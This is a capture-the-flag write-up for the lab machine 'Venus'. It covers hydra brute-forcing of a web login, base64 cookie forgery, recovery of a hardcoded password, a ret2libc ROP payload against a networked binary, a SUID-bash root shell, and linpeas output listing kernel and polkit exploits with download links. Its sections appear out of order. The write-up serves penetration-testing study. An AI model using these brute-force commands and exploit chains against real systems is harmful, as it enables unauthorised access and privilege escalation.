Venus is a medium box requiring more knowledge than the previous box, "Mercury", in this series. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com
So at 1040 bytes the buffer starts to overflow and overwrites RBP and at 1048 we overwrite the RSP. The RSP points to the memory address where the program continues execution, so if we control the RSP we could point to a memory address we control and continue execution there, for example place some shellcode in the first 1048 bytes we send and then point the RSP to this address but this method would not work in this case as the stack is not executable. (NX: NX enabled)
The technique we can use is ret2libc, because fortunately (or not) the ASLR is disabled:
In this payload, we are setting up a chain of instructions to call the recv function to read a command into the binary's memory, and then calling system with that command.
Initial Padding
0x418 * b'A' adds padding to overflow the buffer up to the return address. This value (0x418) should match the exact offset to reach the return address based on the binary's layout.
First Gadget: pop rdi; ret
p64(pop_rdi) adds the address of the pop rdi; ret gadget. p64 converts the address to a 64-bit little-endian format.
p64(fd) adds the file descriptor (usually 0 for standard input) into the rdi register, which is the first argument for recv.
Second Gadget: pop rsi; ret
p64(pop_rsi) adds the address of the pop rsi; ret gadget.
p64(binary.bss()) adds the address of the .bss section (a writable section of memory in the binary) into the rsi register, which is the second argument for recv. This is where the data will be written.
Third Gadget: pop rdx; pop rcx; pop rbx; ret
p64(pop_rdx_rcx_rbx) adds the address of the pop rdx; pop rcx; pop rbx; ret gadget.
p64(len(command)) sets the length of the command to read into the rdx register, which is the third argument for recv.
p64(0) sets the value of the rcx register (though it's not used here).
p64(0) sets the value of the rbx register (though it's not used here).
Call recv
This adds the address of the recv function in the Procedure Linkage Table (PLT) to the payload. When this is executed, it will call recv(fd, binary.bss(), len(command)).
Second pop rdi; ret Gadget
p64(pop_rdi) adds the address of the pop rdi; ret gadget again.
p64(binary.bss()) places the address of the .bss section into rdi, which now contains the received command string.
Call system
This adds the address of the system function from the libc library to the payload. When this is executed, it will call system(binary.bss()), effectively running the command stored in the .bss section.
TLDR;
Exploit
Root.txt
CVE-2021-4034 (root)
Linpeas also returned few CVEs for the box, but because of Exposure: less probable I scrolled through them.
polkit with suid bit is vulnerable to CVE-2021-4034 on the box.
└─$ hydra -l <username> -P <path/to/passwords> <IP> http-post-form "/route/to/login:username=^USER^&password=^PASS^:<Message If Login Is Incorrect>"
└─$ hydra -L /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt -p 'letmein' -s 8080 10.0.2.19 http-post-form "/:username=^USER^&password=^PASS^:Invalid username"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-21 10:58:26
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:10000/p:1), ~6250 tries per task
[DATA] attacking http-post-form://10.0.2.19:8080/:username=^USER^&password=^PASS^:Invalid username
[STATUS] 2872.00 tries/min, 2872 tries in 00:01h, 97128 to do in 00:34h, 16 active
[8080][http-post-form] host: 10.0.2.19 login: guest password: letmein
[8080][http-post-form] host: 10.0.2.19 login: venus password: letmein
[8080][http-post-form] host: 10.0.2.19 login: magellan password: letmein
[STATUS] 2848.67 tries/min, 8546 tries in 00:03h, 91454 to do in 00:33h, 16 active
...
# Cookie we get when logging as guest
└─$ echo 'Z3Vlc3Q6dGhyZmc=' | base64 -d
guest:thrfg
# Replace guest with venus
└─$ echo -n 'venus:thrfg' | base64
dmVudXM6dGhyZmc=
# Replace your cookie and inspect new cookie sent by server
└─$ echo 'dmVudXM6aXJhaGY=' | base64 -d
venus:irahf
# Check second password
└─$ alias rot13="tr 'A-Za-z' 'N-ZA-Mn-za-m'" # https://stackoverflow.com/a/5442495
└─$ echo irahf | rot13
venus
[magellan@venus ~]$ curl 0:9080
curl: (1) Received HTTP/0.9 when not allowed
[magellan@venus ~]$ nc 0 9080 # 0 is common for localhost, but did't work for some reason
Ncat: You must specify a host to connect to. QUITTING.
[magellan@venus ~]$ nc 127.0.0.1 9080
Welcome to the Venus messaging service.
To continue, please enter your password:letmein
Incorrect password, closing connection.
^C
[magellan@venus ~]$ strings /usr/bin/venus_messaging | grep -viE '^(\.|_|GA)|libc|gcc|3g965'
...
accept
strcmp
[]A\A]A^A_
loveandbeauty # <--
Socket creation failed.
setsockopt failed.
...
[magellan@venus ~]$ nc 127.0.0.1 9080
Welcome to the Venus messaging service.
To continue, please enter your password:loveandbeauty
Access granted, you can now send messages to the Venus space station.
Please enter message to be processed:
hallo
Message sent to the Venus space station.
Enter message:
hallo
Message sent to the Venus space station.
Enter message:
^C
[magellan@venus ~]$ file /usr/bin/venus_messaging
/usr/bin/venus_messaging: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=507e0f11fb7b76b7b944cc5799d1cf9723ab4caa, for GNU/Linux 3.2.0, not stripped
payload = b''
payload += 0x418 * b'A' # Padding to overflow buffer and reach return address
payload += p64(pop_rdi) # Address of `pop rdi; ret`
payload += p64(fd) # File descriptor (first argument for `recv`)
payload += p64(pop_rsi) # Address of `pop rsi; ret`
payload += p64(binary.bss()) # Address of `.bss` section (second argument for `recv`)
payload += p64(pop_rdx_rcx_rbx) # Address of `pop rdx; pop rcx; pop rbx; ret`
payload += p64(len(command)) # Length of the command (third argument for `recv`)
payload += p64(0) # Dummy value for `rcx`
payload += p64(0) # Dummy value for `rbx`
payload += p64(binary.plt.recv) # Address of `recv` function
payload += p64(pop_rdi) # Address of `pop rdi; ret`
payload += p64(binary.bss()) # Address of `.bss` section (first argument for `system`)
payload += p64(libc.sym.system) # Address of `system` function
└─$ py bof.py REMOTE
[+] Opening connection to localhost on port 9080: Done
Message sent to the Venus space station.
Enter message:
[*] Closed connection to localhost port 9080
└─$ ssh -L 9080:127.0.0.1:9080 magellan@10.0.2.19
magellan@10.0.2.19s password:
Last login: Sun Jul 21 22:25:20 2024 from 10.0.2.15
[magellan@venus ~]$ ls -l /bin/bash
-rwsr-xr-x. 1 root root 1390080 Jan 26 2021 /bin/bash
[magellan@venus ~]$ /bin/bash -p
bash-5.1# cd /root
bash-5.1# ls
anaconda-ks.cfg root_flag.txt
bash-5.1# cat root_flag.txt
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Congratulations on completing Venus!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_83588a17919eba10e20aad15081346af]
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2022-0847] DirtyPipe
Details: https://dirtypipe.cm4all.com/
Exposure: less probable
Tags: ubuntu=(20.04|21.04),debian=11
Download URL: https://haxx.in/files/dirtypipez.c
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: less probable
Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2017-0358] ntfs-3g-modprobe
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
Exposure: less probable
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.
-bash-5.1$ find / -perm -4000 2>/dev/null
...
/usr/bin/pkexec
...
/usr/lib/polkit-1/polkit-agent-helper-1
...
-bash-5.1$ rpm -qi polkit
Name : polkit
Version : 0.117
Release : 3.fc34
Architecture: x86_64
Install Date: Wed 19 May 2021 05:32:37 PM BST
Group : Unspecified
Size : 450073
License : LGPLv2+
Signature : RSA/SHA256, Fri 29 Jan 2021 04:28:31 AM GMT, Key ID 1161ae6945719a39
Source RPM : polkit-0.117-3.fc34.src.rpm
Build Date : Thu 28 Jan 2021 04:13:41 AM GMT
Build Host : buildhw-x86-14.iad2.fedoraproject.org
Packager : Fedora Project
Vendor : Fedora Project
URL : http://www.freedesktop.org/wiki/Software/polkit
Bug URL : https://bugz.fedoraproject.org/polkit
Summary : An authorization framework
Description :
polkit is a toolkit for defining and handling authorizations. It is
used for allowing unprivileged processes to speak to privileged
processes.
-bash-5.1$ pkexec --version
pkexec version 0.117